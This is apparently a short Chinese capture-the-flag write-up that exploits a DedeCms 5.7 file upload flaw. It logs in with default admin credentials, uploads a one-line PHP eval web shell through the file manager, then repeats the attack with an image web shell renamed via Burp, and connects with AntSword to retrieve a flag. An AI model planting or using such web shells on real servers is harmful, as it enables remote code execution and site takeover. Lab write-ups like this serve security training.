DedeCms5.7 文件上传漏洞

DedeCms5.7 文件上传漏洞

1.打开链接确定服务是否开启:

2.登录后台

http://ip/dede/

账号密码为:admin\admin123

漏洞1

3.选择模块下的文件管理器里的上传文件功能,上传一句话木马hack.php文件。

<?php @eval($_POST[‘cmd’]);?>

4.访问

http://ip/hack.php

用post传参尝试可用性

5.使用蚁剑进行连接，再寻找到flag

flag{Mr-Jia-is-the-most-handsome-man}

漏洞2

在核心—上传新文件中添加含有一句话木马的图片

上传的同时使用BP进行抓包，修改后缀为.php，成功上传

打开上传的图片马

cmd调用一句话木马

蚁剑成功连接

找到flag